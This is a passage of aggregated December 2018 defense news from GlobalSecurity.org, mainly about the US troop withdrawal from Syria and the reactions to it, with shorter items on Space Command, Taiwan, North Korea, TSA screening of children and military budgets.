expressed concern about leaving Syria before a peace agreement is reached to end the civil war that has claimed hundreds of thousands of lives and displaced about half of Syria's pre-war population of about 22 million people. The withdrawal of U.S. troops comes as the U.S. approaches an end of a coalition campaign to recapture territory once controlled by IS. While an alliance military campaign has defeated IS in Syria, the defeat has angered Turkey, a NATO ally, which is threatening a new offensive in Syria. Turkey considers the Kurdish forces in the alliance an extension of a militant group fighting inside Turkey. A total pullout of U.S. troops from Syria would still leave the U.S. military with a sizable presence in the region, including more than 5,000 troops in neighboring Iraq. VOA's Wayne Lee contributed to this report. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Lawmakers 'Blindsided' by News of US Troop Withdrawal from Syria By Michael Bowman December 19, 2018 The White House's announcement that U.S. troops are withdrawing from Syria caught U.S. lawmakers by surprise and angered some of President Donald Trump's top allies on Capitol Hill. "I can't tell you that it is the right time [to withdraw from Syria], because I didn't know this was going to happen," Senate Armed Services Committee Chairman James Inhofe, an Oklahoma Republican, told VOA. "I was not consulted, and I think I should have been consulted." "It blindsided me," South Carolina Republican Lindsey Graham said. "I'm meeting today with the secretary of defense [Jim Mattis]. I don't know what they've done, but this is chaos." In a tweet early Wednesday, Trump referenced the fight against the Islamic State terror group, saying, "We have defeated ISIS in Syria, my only reason for being there during the Trump presidency." Lawmakers questioned the White House decision. "Did the president do this with the advice of military leadership, against the advice of military leadership?" Virginia Democrat Tim Kaine said. "Does the military leadership now say that ISIS is such a non-threat that we don't need to worry about it, or somebody else is going to take care of it? Turkey? We don't know the answers to those questions." Republican Senator Rand Paul, a member of the chamber's Committee on Foreign Relations, was one of the few lawmakers to praise the move. But even senators who long have had misgivings about America's military campaign in Syria absent congressional authorization found the president's announcement perplexing. "There's no question the ISIS, the caliphate, is shrinking, but they still have a presence in Syria," Ben Cardin, a senior Democrat on the Senate Foreign Relations Committee, told VOA. "I'm one who questions our authorization for our troops being there, but clearly this administration and the previous administration have taken the position that we need to have a military presence against ISIS. And my guess is that ISIS still has an influence in Syria. "Dealing with terrorism, dealing with ISIS, we've made a tremendous investment, and we've got to make sure the job is done," he added. "You could pull all the ground troops out and still be running missile strikes against the Syrian government, or air campaigns against the Syrian military, and I would find that objectionable without a congressional authorization," Kaine said. "So, I don't know that the removal of 2,000 ground troops means that we are not going to be engaged." Graham, a fierce advocate of continued U.S. military engagement in Syria, said Trump is making a grave error. "A lot of people applaud withdrawing troops no matter where they are from. [Former President Barack] Obama got a lot of applause when he withdrew from Iraq, but I have the same feeling about this that I did in Iraq over time, this is not going to play well," Graham said. "I saw the president's tweet. I could not disagree more. I don't think they [ISIS] is defeated in Syria or Iraq, and I know they're not defeated in Afghanistan. I think this is a serious miscalculation to think that conditions warrant our withdrawal. We're all at risk from the emergence of ISIS." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Rutherford Institute Issues Guidelines for Parents to Protect Their Children from TSA Patdowns During Holiday Air Travel CHARLOTTESVILLE, Va. Dec. 20, 2018 / Christian Newswire / -- Seeking to protect parents' rights and empower families who are traveling this holiday season, The Rutherford Institute has issued guidelines on how parents can protect their children from excessive, intrusive, inappropriate and overtly intimate screening procedures and pat-down searches by Transportation Security Administration (TSA) agents. Earlier this month, the Institute called on the TSA to revamp its screening and pat-down protocols for children citing the case of a Texas family who alleged a TSA agent groped their 13-year-old daughter during an unwarranted pat-down search in August 2018. The Rutherford Institute's Freedom Resource Brief, "Parents' Rights to Protect Their Children from TSA Patdowns," advises parents on how they can defend their constitutional rights when their family members pass through airport security screening. The Institute has also made available a concise "Know Your Rights" primer on the topic. The Freedom Resource Brief and Know Your Rights primer are available at www.rutherford.org. "No American should be subjected to a virtual strip search or excessive groping of the body, or have their underage children touched intimately by strangers as a matter of course in boarding an airplane when there is no suspicion of wrongdoing," said constitutional attorney John W. Whitehead, president of The Rutherford Institute and author of Battlefield America: The War on the American People. "In both word and deed, the TSA operates as if members of the public and their children have no rights and no defense against the agency and its employees even if an agent assaults them, wrongfully detains them, or fabricates criminal charges against them. However, parents do not forfeit their rights when they travel by air with their children." In its new Freedom Resource Brief, "Parents' Rights to Protect Their Children from TSA Patdowns," The Rutherford Institute advises parents that neither they nor their children lose their Fourth Amendment right to privacy when they enter airport screening. Additionally, parents have a constitutional right to the custody and care of their children which entitles them to protect their children during screening. According to Rutherford Institute attorneys, current TSA procedures for child screening show indifference to the emotional well-being of children and disregard for the constitutional rights of parents to be directly present during any pat down of a minor in order to the reassurance and comfort a child needs during this intrusive procedure. Institute attorneys cite several instances which undergird the need for security protocols that better respect the right of parents. For example, earlier this year, a Texas family asked The Rutherford Institute to intervene after one of their children suffered emotional trauma in the course of a TSA screening that included a pat-down of the young girl's body. In August 2018, The Rutherford Institute was contacted by the McAdams family regarding a disturbing incident involving TSA screening at Reagan National Airport in which the family's 13-year old daughter was ordered by TSA agents to submit to a pat-down search even though the daughter and her parents asked that she be allowed to be screened using the scanner. Surveillance video obtained through a Freedom of Information Act request shows that the daughter was taken away from the area where her parents were and subjected to a full-body pat-down in which the TSA agent ran her hands over the entirety of the girl's body, including extremely sensitive areas on her legs and chest. All of this was done despite objections by the girl's parents, who made it clear to the agents that she had not previously experienced this kind of physical contact with a stranger and feared it could have a negative psychological impact upon her. The Rutherford Institute, a nonprofit civil liberties organization, provides legal assistance at no charge to individuals whose constitutional rights have been threatened or violated and educates the public on a wide spectrum of issues affecting their freedoms. This press release is also available at www.rutherford.org. What You Need to Know About US Involvement in Syria By VOA News December 19, 2018 The White House said Wednesday that 2,000 U.S. troops in Syria had begun withdrawing, shortly after President Donald Trump tweeted that the U.S. had defeated Islamic State in the Middle Eastern country. The announced withdrawal marked a sudden reversal in U.S. military strategy in the region, where senior U.S. military and other officials have been pushing for a longer-term military presence to help ensure IS does not re-emerge. Here are answers to frequently asked questions about the development How long have U.S. troops been in Syria? U.S. ground troops have been in Syria since 2015. An American-led military aerial campaign against IS began in 2014. Where are the U.S. troops located? U.S. troops are primarily in north-central and northeast Syria, with a smaller presence along Syria's southern border with Jordan. What do U.S. troops do in Syria? U.S. troops advise and collaborate with an alliance of Kurdish and Arab militias known as the Syrian Democratic Forces. Who are the Kurds the U.S. troops are based near? The Kurds are the largest ethnic minority in Syria, with fewer than 2 million living in northeastern Syria, according to The Kurdish Project. The U.S. forces have been deployed with the YPG Kurdish militia, which is based in the region. Syrian Kurds intend to establish an autonomous region in northeast Syria, as Kurds did in neighboring Iraq. What is the situation in northeastern Syria? North-central and northeast Syria is now largely controlled by Syrian Kurdish allied forces. The future of the region will be determined by two Kurdish political parties, the Kurdish National Council (KNC) and the Democratic Union Party (PYD). The parties disagree on how to defeat IS and how to best govern the area. Why is Turkey concerned about the U.S. military's collaboration with the Kurds? Turkey views any powerful Kurdish militia as a possible threat and more motivation for Kurdish separatists in Turkey. Turkey threatened earlier this month to deploy forces to Syria to repel Kurdish and Arab militias. Turkey is concerned that this region of Syria could become an independent or quasi-independent region linked to the Kurdish separatist group PKK, which Turkey and the United States classify as a terrorist organization. Turkey has been engaged in a war with the PKK for three decades. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address White House Defends Declaration of Victory Against IS By Jeff Seldin December 19, 2018 Without offering specifics on what led to a declaration of victory against the Islamic State (IS) terror group in Syria, the White House defended both the declaration and the decision to start bringing U.S. troops in the war-torn country back home. The announcement, which seemed to catch some U.S. defense and diplomatic officials, as well as lawmakers, off guard, first came in a tweet from U.S. President Donald Trump Wednesday morning: The sudden declaration led to a flurry of questions, forcing both White House and Pentagon officials to clarify the president's tweet with statements of their own. "We have started returning United States troops home as we transition to the next phase of this campaign," White House press secretary Sarah Sanders said, adding the defeat of IS did not mean the military campaign by coalition forces was ending in Syria. Hours later, Pentagon spokeswoman Dana White, using an acronym for the group, said in a statement that "the coalition has liberated ISIS-held territory, but the campaign against ISIS is not over." By late Wednesday, Trump weighed in again, releasing a video statement. "We have won against ISIS. We've beaten them and we've beaten them badly," the president said, standing outside the White House. "So our boys, our young women, our men, they're all coming back and they're coming back now. We won and that's the way we want it and that's the way they want it." Neither the White House nor the Pentagon was willing to say how long it would take to safely withdraw all U.S. forces from Syria, citing operational security. They noted only that planning was under way and that it would be done in an orderly fashion. Reuters quoted a U.S. official as saying the State Department was already evacuating all personnel from Syria and that the time frame for the troop withdrawal was 60 to 100 days. White House officials admitted that IS fighters were clinging to one last pocket of territory around the town of Hajin, in northeastern Syria, though they said the terror group's fighters were not mounting enough resistance to postpone a declaration of victory. "We believe that that remaining pocket can be eliminated both by our own guys, but then also by regional and partner forces that are local to it," a senior administration official said on background late Wednesday. U.S. troops "were always there to destroy the territorial caliphate of ISIS," the official added. "I think the president was perfectly justified when he judged that mission was at an end and the caliphate had been destroyed." But the decision to immediately begin withdrawing the approximately 2,000 U.S. troops in Syria spawned both confusion and criticism. "It blindsided me," said South Carolina Republican Sen. Lindsey Graham, usually a Trump ally. "This is chaos." White House officials pushed back, arguing the time was right and that no one should have been surprised by the move. "I would challenge that," the senior administration official said when asked why top Defense and State department officials seemed to be caught unaware. "The president's statements on this topic have been 100 percent consistent." Still, the announcement ran contrary to what top U.S. officials have been saying for months about the endgame against IS in Syria. Just last week, Brett McGurk, U.S. special presidential envoy for the Global Coalition to Defeat ISIS, told reporters at the State Department that liberating the last 1 percent of IS-held territory could take "a period of months." "There is a significant concentration of the most hardened ISIS fighters in that little splotch of territory," McGurk said on Dec. 11. "A couple thousand hardened fighters remain in that area." Pentagon estimates from August of this year also warned that IS still had at least 13,000 fighters in Syria, where the caliphate had already collapsed. Defense Secretary Jim Mattis and other senior U.S. officials also have been advocating for a longer-term military presence in Syria to help ensure IS cannot re-emerge as a force in the Middle East. Until now, U.S. troops in Syria had been working closely with an alliance of Kurdish and Arab militias known as the Syrian Democratic Forces. But White House officials said the SDF and other partner forces would be responsible for eliminating the last pockets of IS control. "We are transitioning primary responsibility for the defeat of the few remaining ISIS remnants in Syria to our allies and partners [on the ground]," a second senior administration official told VOA on background. Might not last However, there are indications that those local partner forces may quickly fade once U.S. troops are gone. A source close to SDF officials in Syria told VOA that many of the Kurdish fighters taking on IS in Hajin and surrounding areas were prepared to withdraw and reinforce Kurdish positions in the north in preparation for a possible incursion by Ankara, which sees the Kurds as an extension of a Kurdish terrorist group fighting inside Turkey. Some of the SDF's Arab fighters may join them, the source said, though many would likely return home. The U.S. withdrawal also raises questions about the fate of hundreds of IS foreign fighters who have been taken prisoner and are currently in SDF custody. Many governments have refused to take them back, and there is a chance that what is left of the SDF could set them free without the prospect of any U.S. support. "I think the Kurds will view this as a tremendous betrayal," Andrew Gabel, a research analyst at the Foundation for Defense of Democracies in Washington, told VOA. "They will have little choice but to somehow come to terms with [Syrian President Bashar al-]Assad, Russia, Iran. That's not really good for them, I don't think, and that's certainly not good for the U.S. position in the region." Mixed response International reaction to the U.S. announcement was mixed. In a statement late Wednesday, Britain, a key ally in the fight against IS, sounded a note of caution. "The global coalition against Daesh has made huge progress," a British government spokesperson said, using the Arabic acronym for the terror group. "Important advances have been made in recent days in the last area of eastern Syria which Daesh has occupied," the spokesperson added. "But much remains to be done, and we must not lose sight of the threat they pose." Russia's Foreign Ministry praised the decision, according to the TASS news agency, saying it would improve the chances for a political settlement of the eight-year-old Syrian civil war. White House officials dismissed any connection between the withdrawal of the troops and the ongoing war in Syria, and additionally dismissed criticism from lawmakers, like Graham, who accused Trump of making a blunder: Former President Barack Obama drew the ire of Trump for withdrawing U.S. forces from Iraq in before Iraqi forces collapsed at the hands of IS in 2014. "That's an apples-and-oranges comparison," a senior administration official said. "What the President [Trump] told us to do what he directed this administration to do was destroy the territorial caliphate of ISIS, not turn Syria into a utopian democracy." Sen. Rand Paul, a Kentucky Republican who is a member of the chamber's Committee on Foreign Relations, praised the move on Twitter: As for the next phase of the U.S. fight against IS, administration officials said there was no illusion that the threat from IS was gone, but that the focus would move to other areas from which the terror group is operating, including Libya and Egypt's Sinai Peninsula. Sanders, the White House press secretary, said the U.S. would also continue efforts "to deny radical Islamist terrorists territory, funding, support and any means of infiltrating our borders." A total pullout of U.S. troops from Syria would still leave the U.S. military with a sizable presence in the region, including more than 5,000 troops in neighboring Iraq. VOA's Persian service contributed to this report. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Despite, Critics, Trump Says 'All' U.S. Troops To Leave Syria 'Now' After 'Historic Victories' By RFE/RL December 20, 2018 WASHINGTON -- U.S. President Donald Trump says in a Twitter video message that "after historic victories" against Islamic State (IS) militants in Syria, U.S. troops are "all coming back and they're all coming back now," a plan earlier condemned by many Republican and Democratic lawmakers. "We have won against ISIS, we've beaten them, and we've beaten them badly," he said in the video on December 19. "Now it's time for our troops to come back home," he added. The video posting came after confusion and some concerns were raised by U.S. lawmakers and allies in response to an earlier tweet by the president that said, "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency." U.S. officials earlier had told media outlets the president had decided to rapidly withdraw all troops from Syria, and White House spokeswoman Sarah Sanders said some of the 2,000-strong U.S. force had begun to leave after the militants' "territorial caliphate" had been defeated. Reuters quoted several unidentified U.S. military commanders in Syria as saying they were surprised by the decision. In the past, U.S. commanders on the ground have voiced concerns about the effect any quick U.S. withdrawal would have on U.S-backed fighters there. Republican Senator Lindsey Graham, a strong Trump ally, said the president's decision to withdraw troops at this time would be "a mistake" and a "big win" for the IS group, the government of Syrian President Bashar al-Assad, and its allies -- Russia and Iran. Republican Senator Marco Rubio called the move a "terrible mistake." Democrat Jack Reed said it represented a "betrayal" of Kurdish allies and is "further evidence of President Trump's inability to lead on the world stage." Britain, which has troops participating in the U.S.-led coalition in Syria, said IS remained a threat even though it held no territory and that "much remains to be done." "We must not lose sight of the threat they pose," The British Foreign Office said. "Even without territory, Daesh [IS] will remain a threat." "As the United States has made clear, these developments in Syria do not signal the end of the global coalition or its campaign. We will continue to work with members of the coalition on achieving this." U.S. air strikes in Syria began in 2014, with ground forces entering in 2015. There are currently around 2,000 American troops in Syria, many of them special operations forces working with an alliance of Kurdish and Arab militias battling the IS group. Most U.S. soldiers are based in northeastern Syria, where they had been helping to rid the area of IS fighters, but pockets of militants still remain. Trump's video message did not provide specifics about a timeframe, but CNN quoted a defense official as saying that the planning was for a "full" and "rapid" pullout. CBS said it was told the White House ordered the Pentagon to "begin planning for an immediate withdrawal." "For force protection and operational security reasons, we will not provide further details. We will continue working with our partners and allies to defeat ISIS wherever it operates," Pentagon spokeswoman Dana White said in a statement, using an acronym for Islamic State. The coalition has "liberated" the IS-held territory, but the campaign against the group "is not over," White said. The Russian Foreign Ministry said the decision to withdraw U.S. troops from Syria creates prospects for a political settlement of the conflict there, according to the TASS news agency. Russia has repeatedly asserted that U.S. forces have no right to be in Syria because Assad's government has not approved their presence. Both Moscow and Tehran have given Assad crucial support throughout the Syrian conflict, which began with a government crackdown on protesters in March 2011 and has left more than 400,000 people dead, displaced millions, and devastated many historical sites across the country. In 2014, IS fighters seized large swaths of Syrian and Iraqi territory in a lightning offensive and proclaimed a so-called Islamic "caliphate." IS militants have lost virtually all the territory they once controlled in Iraq, but still carry out sporadic attacks. With reporting by Reuters, AFP, and the BBC Source: https://www.rferl.org/a/trump-syria-troop-pullout-islamic -state-russia-turkey-iran/29666375.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Navy Says It Faces Rough Waters If 2020 Defense Budget Stalls Sputnik News 02:09 20.12.2018 A document submitted to a recent Senate Armed Services readiness subcommittee hearing suggests the US Navy may be heading for rough waters in the near future if lawmakers are unable to agree on a defense budget by January 2020. The document, which was handed to lawmakers on December 12 and cited by US Navy Secretary Richard Spencer at a recent hearing, indicates that the scheduled maintenance of various ships and aircrafts would be placed on hold in an effort to save funds if they end up slashed by politicians. According to Defense News, cuts also mean hiring freezes at shipyards, furloughs, and cutbacks on weapons and aircraft procurements. Although the document failed to give exact details on the matter, it did also indicate that the US Navy's show pilot team, the Blue Angels, would see their 2020 season axed. "If we were forced back to a sequestration level, it would be more than just the Blue Angels not doing air shows," US Marine Corps Commandant Gen. Robert Neller said at a recent hearing, the defense site reported. "It would be units getting ready to deploy later, it would cause us to look at our force structure, have to make ourselves a smaller force." Vice Chief of Naval Operations Adm. Bill Moran, along with Spencer, also remarked at the hearing that budget cuts would cause setbacks that would ultimately take roughly five years for the force to recover from. "The component of time is time you can't get back," Moran said. "So we lose proficiency, we lose expertise, and we have to recover that by skipping generations of people who miss the opportunity during the time when we didn't have the resources available." But the doom and gloom isn't set in stone just yet, folks. Without giving out specifics, Lt. Lauren Chatmas, spokesperson for the US Navy, told Defense News that the document outlined cuts that "are just options as we strive to find the best balance to support the defense strategy while also being responsible stewards of taxpayer dollars." "This is what the [Program Objective Memorandum-20] process is for to review all accounts in determining the best balance of investments," Chatmas explained. The US Congress has until January 15, 2020 to finalize a budget deal. All military branches have been tasked by the Office of the Secretary of Defense to outline a 2020 budget. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Deepens Ties With Poland, Commitment to NATO 'Ironclad' - State Dept Sputnik News 01:01 20.12.2018 WASHINGTON (Sputnik) - The United States is strengthening its bilateral ties to Poland, welcomes Warsaw's boost in military spending and has an "ironclad" commitment to NATO, Deputy Secretary of State John Sullivan said in Warsaw on Wednesday according to a Department of State readout. "Deputy Secretary John Sullivan reaffirmed to Foreign Minister Jacek Czaputowicz the United States' ironclad commitment to the NATO Alliance and applauded the continued strengthening of our bilateral relationship," Deputy Spokesperson Robert Palladino said in the readout. Sullivan commended Poland for its commitment to spend 2.5 percent of GDP on defense by 2030 and celebrated the centennial of Poland's reclaimed independence, the State Department said. In addition, Sullivan "witnessed the signing of an agreement between the Polish Oil and Natural Gas Company (PGNiG) and Sempra Energy, which will assist in energy diversification for Poland," Palladino added. Sullivan also met with Polish President Andrzej Sebastian Duda's Chief of Staff, Minister Krzysztof Szczerski, as well as representatives from civil society and the business community, the readout said. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address China warns US against 'weaponizing' space Iran Press TV Wed Dec 19, 2018 05:08PM China has opposed the "weaponization" of space by the United States, a day after President Donald Trump ordered the creation of a new command center for controlling military space operations. Chinese Foreign Ministry spokeswoman Hua Chunying criticized the order by Trump administration during a briefing in Beijing on Wednesday "China has consistently proposed the peaceful usage of space, and opposes the weaponization of space and a space arms race," the spokeswoman said, adding, "We oppose even further turning space into the new battleground," she added. On Tuesday, Trump in a memo to Defense Secretary Jim Mattis ordered the creation of the new organizational structure within the Pentagon that will have overall control of military space operations. "'I direct the establishment, consistent with United States law, of United States Space Command as a functional Unified Combatant Command." Vice President Mike Pence, speaking at the Kennedy Space Center in Florida's Cape Canaveral Tuesday, said the new US "Space Command" will integrate space capabilities across all branches of the military. "It will develop the space doctrine, tactics, techniques and procedures that will enable our war fighters to defend our nation in this new era." Critics say the creation of a new Space Force would also set off a turf war within the Pentagon, which currently is responsible for most space operations. It is not the first military space entity proposed by the Trump this year. In June, the US president said he wanted to create 'Space Force', an entirely new branch of the military, alongside the Navy, Marine Corps, Army, Air Force and Coast Guard. Trump insists such a move is necessary to tackle vulnerabilities in space and assert US dominance in orbit. China has also bolstered its space capabilities in recent years. Earlier this month, the country launched a rover heading to the far side of the moon, a global first that could boost Beijing's ambitions to become a space superpower. A US government-funded think tank earlier admitted Russia and China were years ahead of the United States in developing the means to destroy or disable satellites that the US military depends on for everything from gathering intelligence to guiding precision bombs, missiles and drones. "We are now approaching a point where 'Star Wars' is not just a movie," said Steve Isakowitz, CEO of The Aerospace Corp., that serves as the military's leading adviser on space. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address China Warns US Against 'Turning Space Into the New Battleground' Sputnik News 22:00 19.12.2018 US President Donald Trump's recent call for the creation of a new space agency within the Pentagon caught the attention of Chinese officials this week, and Beijing is stressing its concern that the US will weaponize space. Hua Chunying, a spokesperson for the Chinese Foreign Ministry, said on Wednesday that the move by the Trump administration would turn space into a "new battleground." "China has consistently proposed the peaceful usage of space and opposes the weaponization of space and a space arms race," Hua said at a press briefing, AFP reported. "We oppose even further turning space into the new battleground." Trump on Tuesday called for the establishment of "Space Command," a new US Department of Defense branch that would effectively have control over US military operations in space. The new command follows Trump's June proposal for a Space Force, a new military branch that would fall in line with the likes of the US Army, Air Force, Navy and Marine Corps. "I direct the establishment, consistent with United States law, of United States Space Command as a functional Unified Combatant Command," Trump wrote in a one-page memo to US Secretary of Defense James Mattis. "I also direct the Secretary of Defense to recommend officers for my nomination and Senate confirmation as Commander and Deputy Commander of the new United States Space Command." Aside from overseeing space operations, the immediate goal of the agency will also be to determine effective ways in which US servicemembers can protect US satellites used in ground operations. The move still needs to be approved by Congress, and experts have noted that money matters could keep lawmakers from giving the thumbs up for the new command. "You're taking the existing space platforms and systems and diverting it to create the necessary bureaucracy to create an additional separate force," Richard Aboulafia, a defense industry analyst with the Teal Group, told the Boston Herald. "There's nothing about this move that's actually going to grow that market in and of itself." It's estimated that the new command could cost as much as $800 million over the next few years, according to reports. Funding for the agency is expected to be included in the budget for fiscal year 2020, AP reported. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address China embracing world People's Daily Online (China Daily) 08:10, December 19, 2018 President sums up country's success over past 40 years, charts major tasks in future at key gathering President Xi Jinping reaffirmed China's commitment to opening-up even more to the world at a grand gathering on Tuesday to mark the 40th anniversary of the country's reform and opening-up. "The practice of reform and opening-up over the past 40 years has shown that openness brings progress, while seclusion leads to backwardness," Xi said. The president pledged to support the building of an open, transparent, inclusive and nondiscriminatory multilateral trading system, facilitate trade and investment, and promote more openness amid ongoing economic globalization. The high-profile conference was attended by Xi and the six other members of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee, as well as Vice-President Wang Qishan. Premier Li Keqiang presided over the meeting. Over the past 40 years, China has recorded an average annual GDP growth rate of around 9.5 percent. This contributed over 30 percent to global economic growth and lifted more than 740 million people out of poverty, Xi said, calling the four decades "a glorious process". The country will focus on jointly building the Belt and Road with other nations and establish a new platform for international cooperation while continuing opening-up measures, Xi said. China will never seek self-development at the cost of other countries' interests, nor will it give up its justified interests, Xi said, adding that China's development will pose no threat to any other nation, and it will never seek hegemony no matter how developed it becomes. China's development provides successful experience and offers bright prospects for other developing countries as they strive for modernization, and it represents China's great contribution to the progress of human civilization, Xi said. During the conference, Xi stressed the Party's leadership over all work while calling for constantly enhancing and improving Party leadership. Reform and opening-up show that Party leadership is the most essential attribute of socialism with Chinese characteristics, and the greatest strength of this system, Xi said. "It is by upholding the centralized, unified leadership of the Party that we have been able to achieve the historic transformation, usher in a new era of reform and opening-up, and embark on a new journey of great rejuvenation of the Chinese nation," he said. All Party members and people must maintain a high degree of awareness in terms of thinking, political orientation and actions in ensuring leadership by the Party a fundamental principle that bears on the future of the Party and the country, Xi said. In his speech, the president pledged to uphold a people-centered philosophy and to seek happiness for the people while striving for national rejuvenation. "The aspirations of the people to live a better life must always be the focus of our efforts on the path of moving ahead," Xi said. Xi stressed the guiding position of Marxism and pledged to continue theoretical innovation based on actions. It's the CPC's historical responsibility to develop Marxism in China today, Xi said. He stressed the need to stay on the path of socialism with Chinese characteristics and to uphold and develop socialism with Chinese characteristics. Over the past 40 years, the theme of the Party's theories and practices has been to uphold and develop socialism with Chinese characteristics, Xi said. Xi reaffirmed the commitment to strengthening State-owned businesses while also encouraging, supporting and guiding the development of private business. Xi highlighted the importance of clean governance, saying that all corrupt officials must be cleared away to ensure a clean political ecology to push forward reform and opening-up. "We have firm political resolution and great capability to safeguard national sovereignty and territorial integrity, and not even a slice of the homeland's sacred territory can be split," Xi added. Also at the gathering, 100 Chinese were awarded the medals of reform pioneers and 10 foreigners were honored with China reform friendship medals. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address China Resumes Bomber Flights Around Taiwan, Ending Six-Month Hiatus Sputnik News 01:35 20.12.2018(updated 01:37 20.12.2018) On Tuesday, Taiwan's air defenses detected Chinese bombers and other aircraft flying near the island for the first time in six months. Taiwan's Defense Ministry announced Tuesday that it detected People's Liberation Army H-6K heavy bombers, accompanied by Y-8 airlifters and Su-30 fighters, flying east from Huiyang air base in Guangdong Province toward the Pacific Ocean. The aircraft passed through the Bashi Channel between Taiwan and the Philippines before turning and heading back, Japan Times reported. The ministry also said it detected two PLA Navy vessels, but didn't name what type they were. The flights are the first such drills in half a year. The first half of 2018 saw half a dozen such operations, which accompanied rhetoric from Beijing hostile to the idea of Taiwanese independence. The government in Taipei represents all that remains of the Republic of China, which the Communist Party of China evicted from the mainland in 1949 when it won the decades-long civil war. Each side maintains it is the sole legitimate Chinese government. However, after Tsai Ing-wen rose to the Taiwanese presidency in 2016 and refused to affirm an agreement to that effect, some feared it might be the precursor to a declaration of independence. Beijing has made clear that such an event would lead to war. However, Tsai's Democratic People's Party was dealt a stinging blow in elections last month, losing parliamentary seats and mayorships to their rivals, the Nationalist Party, which are firmly against the idea of an independent Taiwan. Beijing greeted the change warmly, indicating its willingness to cooperate with Nationalist politicians and reward parts of the country that voted for the party with economic investment, Sputnik reported. Tuesday's exercise may be a response to controversial live-fire drills held by Taipei in the South China Sea in the days immediately before the November 24 elections. Staged near the Spratly Islands, which are claimed by Beijing, the exercises drew condemnation from regional neighbors, Sputnik reported. Asia Times also noted that the H-6K bombers are capable of reaching the US air base at Guam, about 1,600 miles east of Taiwan, and that this might have been a demonstration of that fact, given increasing tensions between the US and China. China's H-6K bombers, built by Xi'an Aircraft Industrial Corporation, have been in service since 1969 and are modeled heavily on the Tupolev Tu-16 Badger developed by the Soviet Union, which was allied with China until the early 1960s. The plane has been modified to serve a number of roles, including reconnaissance, electronic warfare, in-flight refueling and strategic bombing. They can carry nuclear weapons. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address North Korea's Human Rights Emerge as Issue as Nuclear Talks Stall By Christy Lee December 19, 2018 North Korea's human rights record is emerging as the latest issue separating Washington and Pyongyang, as denuclearization talks have stalled. Often condemned as having one of the worst human rights records in the world in a 2017 report, the U.S. State Department called the violations "egregious" North Korea has rejected such criticisms, calling them ploys to overthrow its political system. President Donald Trump said he raised North Korea's human rights issue to Kim during the Singapore summit in June and that Kim responded "very well." But Trump was criticized for failing to obtain a concrete human rights agreement in the joint statement signed by the two leaders at the summit. US sanctions The latest tension is triggered by sanctions imposed by the U.S. under the "maximum pressure" campaign designed to push Pyongyang toward denuclearization. The North Korean Foreign Ministry said that "it will block the path to denuclearization on the Korean Peninsula forever" if the U.S. escalates the human rights campaign against its country and increases sanctions. The ministry said that it would be the "greatest miscalculation" to think such a campaign would cause it to denuclearize. The statement issued Sunday came after the U.S. Treasury Department last week blacklisted three top North Korean officials suspected of human rights abuses and censorship, including a top aide to North Korean leader Kim Jong Un. The sanctions bar the three senior officials from engaging in transactions with anyone in the U.S. and freeze their assets within U.S. jurisdiction. UN resolution On Monday, the United Nations General Assembly adopted a resolution condemning North Korea's "systematic, widespread and gross violation of human rights."In response, North Korea's U.N. Ambassador Kim Song said the resolution is "a product of a political plot and hostile forces," which Pyongyang "categorically rejects." A State Department official said the U.S. will continue to bring up North Korea's human rights issues. "The president raised North Korea's human rights record in his summit meeting with Chairman Kim (Jong Un), and will continue to raise this issue going forward," the official said in an email sent to VOA Korean Service on Monday. The official added, "(North Korea) is among the most repressive authoritarian states in the world. The United States continues to work with the international community to raise awareness, highlight abuses and violations, promote access to independent information, and keep pressure on (North Korea) to respect human rights." Denuclearization talks North Korea's warning comes after denuclearization talks between Washington and Pyongyang stalled in early November when North Korea suddenly called off a planned meeting with U.S. Secretary of State Mike Pompeo. It remains unclear if the human rights issue will derail denuclearization talks. Ken Gause, director of the International Affairs Group at the Center for Naval Analyses, believes the U.S., by raising North Korea's human rights record, could disrupt denuclearization talks because Pyongyang sees the issue as undercutting agreements it made with Washington at the Singapore summit in June. "I think it would be because North Korea sees the agreement at the Singapore summit as one of the agreements that the objectives, goals that they had was to improve the U.S.-North Korean relationships, and North Korea sees these actions by the United States undermining that agreement," Gause said. John Feffer, director of Foreign Policy in Focus, disagrees. He said the U.S. campaign against North Korea's human rights violations will not derail denuclearization talks but might "undermine" Trump's "negotiating position" on the process of denuclearization. "I don't think that human rights issues will ultimately derail the talks," Feffer said. "Ultimately, North Korea is more interested in seeking whether Trump will agree to some kind of mutual process of give and take. That is the major hurdle at this point the process. The talks will continue to limp along if the process remains murky." Robert Manning, a senior fellow at the Atlantic Council, thinks the Trump administration should delink North Korea's human rights issues from denuclearization talks in the beginning of the negotiation process, because speaking out against North Korea's human rights violations might divert diplomatic efforts. "I think it is appropriate for the administration to speak out on the issue," Manning said. "But not to link it to denuclearization. If the diplomacy advances, and we begin discussions on U.S.-(North Korea) normalizations, human rights has to be discussed as part of that process." Improving relations Despite its sharp retort against U.S. actions toward its alleged human rights abuses, Pyongyang credited Trump's willingness to improve relations with North Korea, suggesting it is open to talks with him. A State Department official said the Singapore agreements Trump and Kim made on denuclearization will be fulfilled. "At the summit in Singapore, President Trump and Chairman Kim made the first leader-level U.S.-(North Korea) commitment on denuclearization in history," said the official in an email message sent to VOA Korean Service on Sunday. "We remain confident that the commitments made by President Trump and Chairman Kim at their summit Singapore will be fulfilled." Baik Sung-won of VOA's Korean Service contributed to this report. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address India Defends Decision to Procure Short-Range Russian Air Defence System Sputnik News 13:42 19.12.2018(updated 14:06 19.12.2018) The Russian-made Igla-S Air Defence System was recently declared the lowest bidder for the Indian Army's Very Short Range Air Defence System (VSHORADS) program, beating Saab's RBS 70NG and MBDA's Mistral. Responding to the defeat, Saab alleged that the Igla-S does not meet the 